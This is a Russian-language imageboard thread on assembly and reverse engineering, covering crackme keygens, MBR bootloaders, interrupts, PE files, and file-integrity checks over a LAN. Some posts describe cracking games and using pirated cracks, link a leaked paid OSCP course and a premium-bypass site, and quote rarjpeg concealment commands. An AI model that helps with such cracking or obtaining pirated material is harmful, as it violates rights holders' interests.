Не ну почему есть же программы котоырй распознают текст на фото. Можно действительно скопировать видеопамять и на неё распозновать, чем картинка монитора от обычного фото бумажной страницы отличается? Вопрос в том что это тема уже какго-нибудь компьютер вижн с алгоритмами и вот это всё к системкам и байтоёбству это уже такое значением не имеет.
263 2298182
>>298126

>Не ну почему есть же программы котоырй распознают текст на фото



Вообще не вариант. Такая программа будет тормозить всю систему и работать будет невозможно. Как вариант, можно попробовать перехватить системные вызовы DrawText и DrawTextExA, потому как в итоге всё ним сводится, но это нетривиальная задача. И потребуются права админа.

А под Линуксами вариант патчить библиотеку Xft.
264 2298235
>>298182
Не ну я честно говоря особо не вчитывался в то что ты хочешь( без обид) просто мельком увидел о чём вы пишете и решил 5 копеек вставить.

Ну вообще у тебя конечно странная потребнность с экрана что-то считывать. Так соглашусь что это не варик и нужно пытаться какие-то системные вызовы перехватывать их аргументы или хз.

Можно ещё если на винде драйвер-фильтр написать какой-нибудьи поместить его в стек например, но это опять же получится перехват информации с ввода т.к. её можно перехватить только когда она поступает на дисплей, а обратно её оттуда уже не вытащить.
265 2298254
>>298182
Можно задать интервал опроса видеопамяти.
266 2298414
Тут есть желащие порешать крякми совместно на днях? Я с головой погрузился в один. Там средняя сложность. Нужено кейген написать. Хексрейс новый и гидра нормально его декомпилируют. Я с дисассемблером сравнил и вроде всё правильно сдекомпилилось. Там на вход 64 цифры они разбиваются на 8 блоков но 8 цифр и дальше странный алгоритм ищет по возрастанию цифры и проверяют чтобы найденные цифры были не в соседних блоках или что-то такое. У меня мозг сломался т.к. кучу раз проверил и он реально ищет цифры каждый раз на 1 больше начиная с нуля и говорит, что ключ правильный когда дойдёт до 64. Но цифр то всего 10! Вот тут я не понимаю как решать. Может кто-то хочет совместно посмотреть на на задачку и вместе порешать?
267 2298595
Какой использовать ассемблер чтобы без напрягов создать скомпоновать программу с libc на 64 битной системе? FASM чтот не справляется, весь инет облазил.
268 2298703
У меня сформировался концепт) - надо сделать программу, аналогичную PrintScreen, но с указанием временного интервала(для слабых пк). После того как она будет помещать копию экрана в буфер начинается поиск символов.
Думаю очень нужная программа, ведь в ней можно будет искать не только символы. а раздавать хэдшоты, нет
269 2298799
>>298414
Я к сожалению хотел бы, но слишком ньюфаня для такого сейчас в IA32 вкатыаюсь по книжке, хотя бы в базовые инструкции. Но завидую конечно, смотрю на посты таких как ты первоклассник на 11 классников качков короче.

А ещё про какие-то тут запаковщики один анон писал что это такое, архиваторы чтоли? В чём их суть? Так интересно это всё.
ньюфаня вкатыш
270 2298833
>>298799

>А ещё про какие-то тут запаковщики один анон писал


Угадай кто?)
Вот тут>>291628 когда меняется сцена(затемнение), происходит распаковка данных с буквами. У этого куска данных есть заголовок с размером для распаковщика внутри игры. Я написал запаковщик, чтобы после того как я поменяю буквы их запаковать и подсунуть на диск, чтобы игра не заметила подвоха, так как новый размер куска был меньше. Но она сука замечала, и в счётчике игрового распаковщика был старый размер. Но так как я не хотел нарушать целостность игры, решил написать запаковщик с указанием размера запакованного куска, и сука написал. Просто в старом запаковщике поставил условие: если ему встретится чанк, который можно запаковать и который будет содержать нужную разницу размеров, то его не надо сжимать, а оставить как есть.
Но оказалось, что проблема была на поверхности и я лажанулся.

Да это всё просто на самом деле, надо просто начать писать, по ходу всё начинает получаться. Сложность в том, как потом вернуться к старой простыне и понять чё там ваще написано.
271 2298835
>>298833

>Сложность в том, как потом вернуться к старой простыне и понять чё там ваще написано.


комментировать каждую строчку отделять блоки кода выполняющие общие задачи и описывать подробно каждый блок комментарием
272 2298869
>>298835
Согласен. Ещё бывает когда вставляешь кусок кода в простыню и он сразу начинает работать, как будто джекпот выиграл.
273 2299129
Что думаете, мужики?
rizin.re
274 2299201
275 2299319
У меня в диспетчере задач показывается 4 процессора в то время как в характеристиках заявлено что он двух ядерных. Откуда он видит 4 процессора тогда?
276 2299334
А можно схему как расположена программа в памяти в windows. Ну там модель типа где стек, куча, .text, .data вот это всё.
277 2299337
>>299334
А ты напищи свою программу да напечатай адреса.
278 2299347
>>299337
Ну ладно, спасибо. А как напечатать адреса? Я это сделаю но позже я щас в ноутбуке ssd 250гб буду скручивать и ставить жёсткий диск на 7200 оборотов объёмом 1тб памяти не хватает, а этот запуск за 5 секунд мне не всрался если честно.

Поэтому системку буду менять с нуля.
279 2299372
>>256441

> win 95 и 98 это по сути ms doc на которой запускается графическая оболчка. Правильно? Правильно.



Neekhooyah.

MS-DOS там был чем-то вроде загрузчика, всего лишь. В досе API-то по сути не было. ФС, диск, немного экран и клавиатура - по сути всё, остальное колхозили внутри приложения напрямую в железо - setup досовских игрушек с настройками саундбластера все помнят? :) Ни гуя, ни сети полноценной, ни звука, а 9x всё это умели в полный рост.
280 2299373
>>299372
а как ядро называлось у этих осей семейства 9х? спасибо за пояснения я ньюфаня.
281 2299494
>>299372
Да так все системы впринципе работали однопроцессные. Всё поменялось с приходом гуя.

А до доса вообще на всяких CP тупо они использовались чтобы вызывать приложение, перезагрузить компьютер и комп уже запускал приложение без самой операционки.Мда тогда всё довольно просто было и не надо было много знать, да и взломать что либо проще было, после внедрения hash функций и сертфикатов с двусторонним шифрованием это становится анриал тупо.
282 2299596
>>299373

Гугел и педивикия о таком не знает, motolithic kernel и всё. Нескучные codenames для таких хуиток пришли позже из мира пердоликса. Сама винда 9x как целое - Chicago, Nashville, Memphis...
71PgPvLj+xL.ACSX425.jpg10 Кб, 425x395
283 2299894
284 2299982
>>299596
Понял, спасибо. Ну впринципе норм, я так понял что dos использовался чисто чтобы загрузить windows 9х, а после этого он выгружался и шёл нахуй и windows 9x уже своими средствами взаимодействовала с железом и прочим?
285 2299992
286 2300003
>>299982
Хуйню он пишет. Дос программы запускались как есть и могли нахуй повесить весь компуктер.
likeachildbirth.mp48,6 Мб, mp4,
480x360, 4:27
287 2300048
Главное не сойти с ума и всё получится.
288 2300144
А в винде получается тоже есть в самому низу памяти таблица программных прерываний с векторами прерываний которые содержат ссылки на процедуры bios и операционной системе? Я просто щас книжечку читаю 1 из 2 что здесь советовали(спасибо, анону) уже вот 8ю главу читаю и на линуксе то они есть. В винде наверное тоже только там коды векторов другие ну и процедуры другие.
289 2300316
>>299894
по привычке прочитал I love anal
290 2300336
>>300316
Расскажешь что за привычка?
nyaseal.jpeg7 Кб, 300x168
291 2300351
Стоит создавать для программирования под ZX/C64/etc отдельный тред, или это сюда?
292 2300353
>>300351
Это чё архитектуры какие-то? Ну судя, отдельный тред врядли взлетит, меня самого прошивки интересуют интересно чем программировнаие микросхем от процессоров отличается.

Я вот читаю читаю всё равно пробелы широкие, хотя книжку по архитекутре навернул, сейчас вот ассемблер 32 учу, до этого танненбаум про операционные системы, ну до этого практика на классических(для треда) с\с++, но мне мало, я хочу до сути докопаться и чем глубже копаю тем большеи нфы появляется, щас я уже знаю что надо после 64 разрядной архитектуры про компляторы читать, про отладчики и т.д.
293 2301154
>>300353

>Это чё архитектуры какие-то?


Стыдно не знать. Я хоть и сам порридж, но ZX spuctrum, Commadore 64, Amiga и IBM, т.д. должен знать каждый уважающий себя байтоеб.
Вот, наверни в свободное время, чтобы немного в курсе быть. Может быть и демки захочешь писать.
https://youtu.be/F5b-ZHy7XtU
https://youtu.be/JKNyToqz9-w
https://youtu.be/G5GyO2DgQlM
294 2301155
>>301154
П.С. Я другой анон, если что.
295 2301172
>>299129

>rizin.re


выглядит как СЖВ форк радара2 (учитывая, что тиран-создатель последнего никуда не перекатывался и пилит спокойно сабж дальше на коленке)
хотя на ЛОРе был чел занятый в разработке этого ризина/каттера, который красиво расписывал, как в форке будет много всего нового прорывного и что pancake вообще только и умеет, что шутить про анал в именах переменных
296 2301441
>>300351
Если предполагается программировать эти машины на АСМе, то пиши в этот тред. Думаю, вообще, нет смысла в одельном треде: тут и так полтора анона тусуются.

>>299334
https://cloudflare-ipfs.com/ipfs/bafykbzaceb77e56d74cuuqp5asdv3dzq7icsx2ri25aarpmmzm5lt66cij7ze?filename=(Серия _Классика computer scince_) Марк Руссинович, Дэвид Соломон, Алекс Ионеску, Павел Йосифович _ [перевел с английского Е. Матвеев] - Внутреннее устройство Windows-Питер (2018).pdf#page=431
https://answers.microsoft.com/en-us/windows/forum/all/physical-and-virtual-memory-in-windows-10/e36fb5bc-9ac8-49af-951c-e7d39b979938
Утилита VMMap показывает виртуальное адресное пространство процесса.
RAMMap показывает структуру физической памяти.
Ну и API используй. https://docs.microsoft.com/en-us/windows/win32/memory/about-memory-management
297 2304880
Приветствую, аноны, решил попробовать в этот ваш ASM
какой компилятор выбрать под win-10 x86-64? учусь в местной шараге где преподают под x80 на эмуляторе
и может ещё пару советов накидаете? не вкатываться - не принимаю пока что обложился разно литературой - большая часть гласит что она для тех кто уже умеет
298 2305405
>>271520

>Оповестить потом не забудь.


>Я как раз архивы этого журнала начал перечитывать.



Ну собственно вот

https://xakep.ru/issues/xb/002/
https://anonfiles.com/l6cdR2J1x4/_Assembler_rar
299 2305651
>>304880

>может ещё пару советов накидаете?


Just do it!
300 2305696
>>305651
MASM норм или может что лучше посоветуешь?
301 2305697
302 2305712
>>305696
FASM конечно же.
Томаш Грыштар гений, который сделал действительно независимую платформу для программирования. А не то что эти высокоуровневые шизики, которым кажется что вот так правильно.
Иначе в асме смысла нет.
303 2305730
Поясню. Программирование по шаблонам в асме не имеет никакого смысла. Это будут +/- теже свистелки-перделки что и на высокоуровневых языках. Если есть желание действительно погрузиться в дебри асма, то нужно всё делать самому, тем самым развивая гибкость собственного мышления. Иначе, со временем придёт понимание - а нахуй я делаю 100 строк, если в с++ тоже самое можно сделать за 10. То есть эти 100 строк асма должны быть оправданы.
Поэтому, ещё раз скажу своё иимхо - больше делайте чем читайте. Это если ты не троль, а правда новичок, потому что я сам не профи.
304 2306706
>>304880
асм нужен только в реверсе(и то только читать) или в компьютерной инженерии.
Даже в embedded все пердолятся с сишкой или крестами и кросс компилят под нужную архитектуру.
По реверсу бери Ден Юрича, по железякам Computer Sytems from Programmer Perspective или nand2tetris.
305 2306728
>>306706
при этом надо добавить что работа реверсера в чистом виде это анализ малвари
306 2306755
>>306706
Ден Юрич - это кто? прошу простить моё незнание
308 2309722
>>307189
Спасибо
309 2310205
>>299372
Ах, DOS. Текстовый редактор Лексикон. Нортон коммандер. QBasic. autoexec.bat и config.sys, имена файлов 8.3.
Кто сейчас помнит о таком? Чем отличается expanded memory и extended memory?
Остались ли ещё люди, вешающие свой обработчик прерываний поверх существующего?
Кто помнит, что такое резидентные программы?
310 2310206
>>299319
Hyper threading, не?
311 2310209
>>299334
Есть утилитка от sysinternals для этого.
312 2310284
>>299319
Да. Логический процессор в WinAPI - это есть hardware thread.
313 2314689
Я передавал по lan кабелю с одного ноутбука на другой файлы. После передачи выяснилось что оказывается в некоторых файлах была потеря каких-то битов из за чего некоторые фото например потеряли оттенки, сдвинулись и т.д.

У меня 2 вопроса:
1. Почему происходит потеря битов при передачи по lan кабелю
2. Как это предотвратить? Может есть какие-нибудь команды, режими копии которые включат проверку после передачи каждого файла на его целостность.
314 2314699
Ассемблер - это созидание, а спец. операция это разрушение.
315 2314835
Кто-нибудь хоть раз редактировал mbr?
Как вообще устроены загрузочные носители?

Ну вот, допустим загрузочная программа которая загружается с cd диска.

Я так понимаю на cd диске есть mbr таблица там есть код на загрузчик который загружает какую-нибудь дос, которая загружает свои файлы + всякие драйвера на поддержку указателя мыши и т.д. и после этого запускает саму программу?
316 2314880
>>314835
Начни с этого. Сейчас MBR уже deprecated как я понимаю.
https://habr.com/ru/post/404511/
317 2314888
>>314835
>>314880
Представься, мразь.
Flickerlight.mp46,3 Мб, mp4,
640x360, 3:46
318 2314902
Чё хоть написали за всё время, читуны?
Асм лёгкий да, для чтецов.

Кидайте исходники чё. Слабо?
319 2314967
0 исходников за все треды. Самый легкий язык. 15 тредов, 0 исходников.
320 2314978
>>314888
Тот кто хочет винт >3ТБ для фильмиков музычки и пикчей котиков
321 2315009
>>314880
да спасибо я знаю но надо с чего-то начинать

>>314888
чисто для учебных целей из интереса
322 2315012
>>314902
я ассембле изучал чисто чтобы понимать лучше как пека работает.
323 2315025
>>314902
Самое сложное наверно генератор ключей для игры Dominions II. Хоть игра мне тогда очень нравилась (точнее ее сеттинг), создание генератора оказалось еще интересней самой игры.
324 2315191
А прошивка uefi\bios которая загружается с микросхемы в память пк так и остаётся в памяти сидеть даже после того как ось загружена? по идее да, раз какие-то процедуры bios есть в таблице векторов прерываний...
325 2315311
>>315009
>>314978
Ёбаный нервоз + пиво, извиняюсь за грубость. Аноны, если ничего не делать на асме, то в этом треде нет смысла. Мне просто не интересно, даже вот был анон которому препод задал римские цифры, было интересно. Он видимо так и не победил, а зря.
326 2315387
>>315311
Я щас из интереса копаюсь в mbr таблице пытаюсь свой собственный бутлоадер написать, понятное дело что об uefi буте речи не идёт пока.
327 2315410
>>315387
>>315387
С понями?
328 2315640
Вот мне и пригодится ассемблер попытаюсь написать собственный простейший хеллоуворлдный загрузчик для bios режима загрузки(mbr).

ньюфаня которая с осени ебёт здесь всем мозги
329 2316293
Какую архитектуру, для которой существует нормальный полноценный эмулятор, можно выбрать для изучения совсем зелёному? Очень неохота начинать с x86, хотя совсем немного в ней понимаю; пытался реверсить простые приложения (сапёр), писал бутлоадер/неполноценную ось, но всё равно ещё слишком много белых пятен и нулевая мотивация для изучения. Хочу, чтобы всё было максимально прозрачно; чтобы всё можно было уверенно потыкать вплоть до бита на шине; разобраться в том, как работает обращение к памяти и устройствам ввода/вывода, прерывания; понять, как работает АЛУ, откуда приходят операнды и куда идёт результат (Таненбаума пытался читать примерно год назад, но забросил как раз на главе о микроархитектуре; показалось тогда пиздецом не для моих мозгов).
Neo tokio.mp427,5 Мб, mp4,
640x360, 5:13
330 2316559
>>316293
Для этого нужен эмулятор пк с отладчиком. Но знаешь что? Его надо написать, на АССЕМБЛЕРЕ!!
Причём он явно есть у пиндосов, потому что тупо проще написать эмулятор пк для пк, чем эмулятор ps1 на пк.
331 2316574
FASM @ GO
sage 332 2316730
>>314967

>ноль сути, только текст


ты познал суть форумов
333 2316802
>>316559
А? Эмуляторы у меня есть - Bochs, QEMU, но, как я и сказал, познанием архитектуры компьютера и внутренностей ОС на примере x86 я заниматься не хочу. При чём здесь ассемблер тоже не очень понял, всё на C/C++ замечательно пишется, браузерные так вообще на JS.

Думал вот с 6502 или 4004 начать, но не смог нормальных эмуляторов пока найти.
334 2317017
>>316802
Эмулятор со встроенным отладчиком. Чтобы брейкпоинты были, трассировки, дамп памяти, вот это вот всё.
335 2317019
>>316802

>всё на C/C++ замечательно пишется, браузерные так вообще на JS.


Ну вот, не кривя душой, чёто нету таких эмуляторов. Если всё так замечательно пишется, то почему не пишется? Я не тролю и не подъёбываю, ну это просто реальность. Где это всё? Чем занимались эти люди всё время? На всех эмуляторах приставок есть встроенный отладчик, на всех, даже на zx-spectrum есть(вот начни с него), а вот на эмуляторе пк нет такого и хоть ты тресни.
336 2317082
Анон, насколько существенные отличия у re4b-ru Юричева у той версии, что теперь за paywall, от версии октябрь 2020?
Есть ли у кого посвежее?
Отдал бы доллар, да патреон разлюбил мою визу
337 2317832
>>314902
чем читаешь? где можно кратко ознакомится с содержанием exe-файла? это PE-заголовок и дальше сама программа, я что-то упускаю?
339 2318773
>>316730
Постправда беспощадна.
Screenshot352.jpg200 Кб, 774x687
340 2318814
Что случилось? Почему я не могу послушать купленный мной альбом на bandcamp?
Высокоуровневые, оправдывайтесь за ваш веб 2.0
341 2318816
Ну ты там это вот нажми, потом обнови страницу...., они же не могут... пук
Шёл 2022 год
342 2318820
Схуяли я не могу послушать купленную музыку? Да я сейчас должен не купленную слушать просто так. Это же элементарное человеческое действие - просто открыть сайт и слушать купленную музыку.
Факт: это не работает. 2022
343 2318826
Лол, Cyberpank 2077 и не мог выйти нормальным. Потому что нет никакого киберпанка, и нет предпосылок киберпанка. Киберпанк - это манямирок.
344 2318835
>>318826

>Киберпанк - это манямирок


Киберпанк это антиутопия. Observer идеальный пример киберпанка.
А 2077 это ебаная дешевая комедия, вообще не по канонам жанра.
345 2318841
>>318814
>>318816
>>318820
>>318826
чувак, ты кажется тред перепутал
346 2318903
А как работает протектор ядра в винде? Каким образом он детектит что в ядре произошли изменения? Он что чекает контрольную сумму данных из всех ячеек озу где оно загружено или что?
Screenshot353.jpg237 Кб, 637x581
347 2318931
>>318841
Да-да. Вот этот трек купил хз когда, до сих пор мне предлагают его купить опять. Киберпанк такой киберпанк лол.
348 2318943
Со стимопорашей тоже лол. Покупаю игры и качаю их же с торрентов(их немного), потому что не хочу чтобы запускалась стимопараша при запуске игры. НО! Это обязательное условие, кто Гейб а кто я. Я купил игру, а меня ещё и унижают. Доходит до абсурда, в стимопараше не сохраняется прогресс в Split/Second, а с васянкским кряком сохраняет. И это просто как пример. Например, купленный RE Revelations 2 просто дико тормозит, а с васянским кряком всё норм, сделал возврат.

2022
349 2318950
Киберпанк они захотели, бля пиздец смешно мне
350 2318971
Но чтобы быть объективным, я признаю - это открывание видосов на дваче сделано по всем канон суперски. Именно так я представлял интернет в 90-х.
351 2319264
>>318943
Следующего эпизода не будет, у него не сохранился прогресс.
352 2319407
>>318943
А я вот сам хочу научиться крякать.
353 2319439
>>319407
Ну так для этого надо крякать, начиная с легких кракми и вообще всяких ctfок, книги читать по теме реверса, много много практики, а не просто сидеть и книгу по асму читать

бля а сейчас ведь ни hackthebox ни tryhackme, вообще нихрена не оплатишь ... зараза блять
354 2319654
а как работает прерывание?
про таблицы векторов и функции прерывания я знаю.
в том плане что int куда-то что-то пишет? или может обращается не по своему уровню кольца и операционная система реагирует на это? могу ещё много разных вариантов придумать
z80cpu-5.jpg167 Кб, 1101x838
355 2319691
>>319654
Кольца это не про прерывание же, на досе нет колец.
356 2319725
>>314689

>У меня 2 вопроса:


Да. Такое бывает.

Почему происходит? Дело в том, что техника не совершенна.
И технологии, применяемые при передаче по LAN, тоже могли бы быть и получше.
В частности - контроль целостности данных. Но сейчас есть то, что имеем.
Как известно, контроль целостности с помощью CRC не очень-то и надёжен. Те же криптографические хэши куда получше будут.
При передаче данных по интернету (в тех же торрентах), случаются ошибки. И в торрентах специально имеется дополнительная проверка целостности данных.

В общем, если не заморачиваться - можно предложить такой способ.
Всё что нужно передать по сети, сначала архивируется в RAR архив. В нём есть встроенные средства контроля целостности данных. Архив передаётся по сети,
или даже открывается по сети на удалённом компьютере с помощью WinRAR, и распаковывается там. При распаковке WinRAR следит за целостностью данных.

Ещё можно посчитать хэш SHA256 этого архива перед копированием по сети. Потом, скопировать по сети. А затем, посчитать SHA256 на другом компьютере для скопированного файла.
357 2319726
>>314888
Ты что, не здоров? По-моему, и гопники на улице ведут себя повежливее.
358 2319727
>>319725
Спасибо, анон, снимаю шляпу. Моё увожение за подробный и исчерпывающий ответ. Точно, винарчиком буду гонять.

А можно ещё тупо не заморачиваясь в вин рар всё засунуть, проверить хэш, потом на другой комп скинуть и там хэш проверить и всё заебумба
359 2319729
>>319691
так получается int это аппаратное прерывание? управление передаётся какому-то микрокоду в ПЗУ?
а как работает программное прерывание? сам механизм вызова функций ОС?
360 2319743
>>319439
Ну я же чмоня тупой. Мне просто чтобы открыть лекцию почитать/посмотреть уже тяжело.
361 2320262
>>319727
В новеньком WinRAR версии 5 и выше, есть контроль целостности по BLAKE2. Она внушает доверие, и куда круче CRC.
В общем, это означает что даже предварительно хэшировать архив перед отправкой не нужно. И проверять после.
Включаешь BLAKE2, создаёшь архив. Перекачиваешь по сети, распаковываешь на другом компе. Ну и прямо во время распаковки будет действовать мощный контроль целостности.
362 2320460
>>320262
Спасибо, анон. Затестирую скоро как раз ожидается передча огромной партии файлов под 35гб
363 2320463
А что находится в в адрсе 0x0000... озу? Что там? В самой первой ячейке?
364 2320536
>>319725
>>320262
я думаю что наверное файлы ещё будут быстрее передаваться по сети, поотму что в предыдущие разы я тупо копировал папки и вставлял их на другом компе. и когда дело доходило до маленьких файлов в большом количества типа фото то скорость с 11мегабайт в секунду проседала до 1-3 мегабайт в среднем. я не сильно разбираюсь, но мне кажется это связано с тем что компьютер создавал запись в файловой системе для каждого файла и это тормозило процесс, а если всё одним архивом перемещать то запись будет создана один раз соотвественно что заметно сэкономит время.

Ты что скажешь, анон?
365 2320676
>>319729
сам нашёл что-то похожее на ответ:
https://www.youtube.com/watch?v=dVZrHGNGvb0
во второй или третьей лекции даётся ответ, да и вообще очень дельно рассказывают, рекомендую к ознакомлению начинающим
366 2320680
>>319729
в c\c++ int это тип данный integer целое число

в ассемблере int это interrupt прерывание. Ты указываешь в специальных регистрах код прерывания, его параметры и вызываешь его по коду 80(вроде бы)
Такое прерывание называется программным, потому что происходит оно программно а не от сигнала поданного на процик от физического устройства.

Ну и короче говорят когда ты делаешь int 80 оно идёт вниз ramа и там есть таблица векторов прерываний и он по коду ищет нужный вектор передаёт ему параметры из регистров и ждёт ответа, ну и ещё чтобы вернуться к твоей программе в нужное место он адрес след. инструкции в стек помещает.

Ну короче в векторах прерываний как правило находятся программы которые предоставляются bios\uefi компьютера и операционной системой.

Надеюсь граммотно раписал, но на точность не претендую я сам ньюфаня ёбаная.
367 2320702
>>320680
спасибо - у меня была путаница, в общем есть прерывания аппаратные/программные и как бы это выразится... програмно-аппаратные по крайней мере я так понял в последнем случае процессор физически прерывает свою работу программой и передаёт управление себе же (каким-нибудь своим блокам и контроллеру прерываний - очень размыто как и мои знания)
368 2320706
>>320702
Ну да короче. Assembly Language Step-By-Step - Programming with Linux, 3rd edition (Wiley, 2009, 0470497025)

я вот эту книгу читаю мне её здесь один анон посоветовал в ней всё и узнал, но это читать надо с самого начала без перерывов и пропусков. я не знаю как ты учишься, но хапать статьями в интернете это не лучшая стратегия по себе знаю.
369 2320780
>>320706
я нацелен на Windows, но адекватной литературы на русском трудно найти( что не возьму либо не для начинающих либо не для начинающих
12.png913 Кб, 746x617
370 2320858
>>320702

>процессор ... передаёт управление себе же

371 2320959
>>320706
А есть такая же книга, но на русском? Я то я этот талмуд с моим уровнем англюсика буду читать полгода
372 2320965
>>320858
чувствую себя я конечно прям как на пикче

но...

вот идёт выполнение программы по командам, счётчик команд инкрементируется... а тут вдрух хYiaK и без всяких джампов его отправляют что-то делать на деревню дедушке, а текущее состояние сохранить где-нибудь в стеке наверное, но это не точно и при этом ещё и контроллер прерываний задействуется а после ещё и обработчик прерываний который выполняет прерывание на процессоре, а после возвращает управление программе вызвавшей прерывание
373 2321010
>>320536
Да. Копировать много мелких файлов куда медленее, нежели один большой. По множеству разных причин.
Но надо рассматривать ситуацию целиком. Сколько ты провозишься с архивом? Его надо создавать, копировать, распаковывать.
Может, быстрее и проще не заморачиваться, и подождать побольше, копируя мелкие файлы?

Если так хочется, можешь засечь время. Сколько займёт оба варианта.
374 2321011
>>241525 (OP)
Сап. Решил учить ассемблер по юричеву, но его книга начинается с какой-то неизвестной для меня терминологии. Какие-то стеки, в примерах инструкции которые я никогда в жизни не видел. ЧЗХ? Есть какой-то более интуитивно понятный гайд по реверсу программ?
20220322101251.mp42,6 Мб, mp4,
1920x1080, 0:01
375 2321065
Сап, хелпаните плиз. Есть 16 разрядные операнды надо запихнуть в 8разр сумматор, каким образом мультиплексор разбивает по 8 разр число? И если сумматор 8 разр, то как он может сложить аж 2 числа 16 разр, или он складывает 2 числа 8 разр и кидает в демультиплексор?
Спасибо
376 2321085
>>321065
Всё разобрался. Спасибо
377 2322295
>>314835
На жёстком диске обычно сразу с самого нулевого адреса начинается загрузочный код и он не может превышать 512 байт вроде.

На носителях не знаю, но думаю там подобное.

>>320780
Я тоже, но та книга очень хорошо раскрывает суть и алсо не обзяательно качать линукс и выполнять эти упражнения просто код автора посмотри и почитай вдумчиво мне уже этого хватает тчобы многие вещи понимать. Лучше ассемблер отдельно изучи, а windows русиновича почитай.

>>321010
Анон, я уже протестил. Файлы в архив запаковываются очень долго, но зато передаются они быстрее. Распаковываются они быстро. Чем больше архив тем больше шансов что он передасться со сбоями. Самый оптимальный размер для архива 4гб на мой взгляд, делить короче файлы на архивы по 4гб.

И да лучше архивами передавать чем мелкими фалами потому что ты заебёшься у всех них контрльную сумму считать, это надо спец по писать автизированное, а в архиве сразу чекнул сумму и всё. Поэтому передача по lan только архивами iso образами и т.д. для меня
378 2322724
>>322295

>На жёстком диске обычно сразу с самого нулевого адреса начинается загрузочный код и он не может превышать 512 байт вроде.


>



На HDD - там сектора. MBR лежит в секторе 0. Как правило, сектора все по 512 байт. Но сейчас пошли HDD с секторами на 4 КБ (advanced format).

>>322295

>Файлы в архив запаковываются очень долго, но зато передаются они быстрее. Распаковываются они быстро. Чем больше архив тем больше шансов что он передасться со сбоями. Самый оптимальный размер для архива 4гб на мой взгляд, делить короче файлы на архивы по 4гб.



Данные долго запаковываются? Надеюсь, ты опцию Store включил, а не пытаешься их как-то сжать?
На мой взгляд, не стоит как-то париться с размерами архива, как-то бить их на размеры помельче. Если произойдёт ошибка передачи RAR архива с BLAKE2 контрольными суммами. Ты просто те файлики, что не удалось успешно распаковать, передай отдельно по сети. Сохрани протокол разархивации, все сообщения об ошибках. Хэш на весь архив считать не обязательно.

И не надо никакую сумму чекать. Говорю же - BLAKE2 вполне достаточно.
379 2322790
>>322724
То есть предел загрузчика в mbr зависит от размера сектора жд?
380 2322797
>>322724
Спасибо, анон, просто я так как ньюфаня решил максимальн доступными для себя способами изучить. В изучении чего-то упрощение сперва помогает.

Архивацию с дефолтными настройками запускал так normal было, спасибо за фичу, буду знать чтобы без сжатия store работало.

Алсо, в след. раз сделаю с твоей функцией как ты советовал и попробую хуйнуть архив 28гб если там будут потери то передам отдельные файлы как ты советовал.
381 2322799
>>322724
Короче в след. раз попробую архивы с методом store blake2

Засуну всё файлы в огромный архив таким способом под 30гб и посомтрим что из этого выйдет, спасибо анон, отпишусь как сделаю, просто щас нужды нет такие файлы гонять большие по сети пока что
382 2322949
>>322790
Если ты не в курсе, загрузка с помощью MBR выглядела так:
BIOS считывает сектор 0 загрузочного диска в память по известному адресу. Процессор при этом находится в реальном 16-битном режиме. После этого, идёт команда безусловного перехода по адресу, лежащем в свежесчитанном секторе в памяти.
Ну и начинает исполняться код, который лежал в этом MBR.
Сектор 512 байт, и MBR ограничен этим размером.
Но код MBR в свою очередь, может считать ещё больше данных из других секторов.
383 2322951
>>322949
Спасибо, анон пояснил хорошо, да читал когда-то но так поверхностно.

А мне вот интересно с uefi boot по всем гайдами для создания загрузочной флешки uefi нужно создавать отдельный раздел uefi который будет загрузочным и в нём будет лежать этот самый uefi загрузчик. То есть загрузочная флешка uefi через утилиту rufus делается на два раздела.

А вот если честно майкрософтвскую прогармму делать то выходит что флешка получается с одним разделом и она ещё может как uefi так и mbr грузится. Не знаешь как они так элегатно реализовали?
384 2322954
>>322949
Я когда эксперимента ради писал свой собственный boot loader для mbr ну по образцу конечно, чтобы он тупо hello world вывел.

Помню ещё потому через программу открывал весь жд в 16 ричном представлении и вставлял туда код своего загрузчика(в самое начало жд)
385 2324679
>>322954

>чтобы он тупо hello world вывел.



Ну если ты строку в риал-моде вывел, то такой себе бутлодер. Куда веселее kernel-image загрузить
386 2326679
Приветствую
посоветуйте программу для просмотра pe-файлов windows 10 64bit и чтоб по возможности все выводилось в синтаксисе masm я правильно выразился?

С ходу найти не получилось, где-то только для 32х разрядных систем/приложений, где-то синтаксис Fasm'а

в общем задача - прочитать исполняемый файл Hello World написанный на C/С++ под win32 x64
387 2327420
Пацаны помогите, я тут нашел OSCP 2021 года, обрадовался, думаю ну ура, посмотрю че у них там преподают нового (дофига поменялось с 2020)

https://eternia.to/threads/penetration-testing-with-kali-linux-pwk-pen-200-2021.212356/

Ну вот, скачал part1, part2, part3 архивы. А там такая фигня:

---------------------------
Error
---------------------------
D:\Downloads\PenetrationTestingWithKaliLinuxPWK).part1.rar
The archive is either in unknown format or damaged
---------------------------
OK
---------------------------

Это какой то хитрый трюк чтобы правообладатель не залез в архив и можно как-то это исправить или всему пиздец?

Ссылочка на обход премиума: https://okdebrid.com/
388 2327421
Ну не во вротенд тред же с такими вопросами обращаться. Тут явно есть шанс что кто то может знать что делать
389 2327883
>>327420

>Yesterday at 11:28 AM


>archives are broken



>Yesterday at 11:45 AM


>fix it please



Видимо и правда битый архив если это не твои комменты
390 2327975
>>327883

>если это не твои комменты


да, это я уже написал

заебали рукожопы которые даже упаковать нормально не в состоянии

видимо не судьба, ну и ладно, когда-нибудь сольют
391 2327976
>>327883

Хотя блин вот тоже интересно, а как вообще можно неправильно запаковать? Что надо такое сделать с винраром чтобы он битый архив произвел. Ни разу такого не было.

Нашел такую вот штуковину https://mark0.net/soft-trid-e.html и вот что заметил.

Скачал 2 архива с двух разных файлообменников оба part1 и вроде одинаковые должны быть но ... не тут то было Вот залил их сюда: https://cloud.mail.ru/public/fphA/SFMWRY7G3

Попробовал Repair в WinRar и он выдал сообщение Unexpected End of Archive на обоих.

А TrID тем временем вообще говорит что один архив (тот который со скобкой в названии) это *.INI а второй Unknown. Че за пиздец тут происходит.
Screenshot (564).png103 Кб, 557x192
392 2327977
Чтобы убедиться что этот TrID не для всех подряд архивов выдает что они INI запаковал другой
393 2327978
https://maccase.ru/android/opredelenie-tipa-faila-po-signature-signaturnye-dela-analizator-failov-i.html

Многие могли слышать о таких файлах, как rarjpeg"и. Это особый вид файлов, представляющий собой склеенную вплотную jpeg-картинку и rar-архив. Он является прекрасным контейнером для скрытия факта передачи информации. Создать rarjpeg можно с помощью следующих команд:

UNIX: cat image1.jpg archive.rar > image2.jpg
WINDOWS: copy /b image1.jpg+archive.rar image2.jpg

Хмм ...
394 2327991
Короче если я вас заебал вы так и скажите что я вас заебал, но я так и не могу успокоиться и все надеюсь что у меня что-то получится.

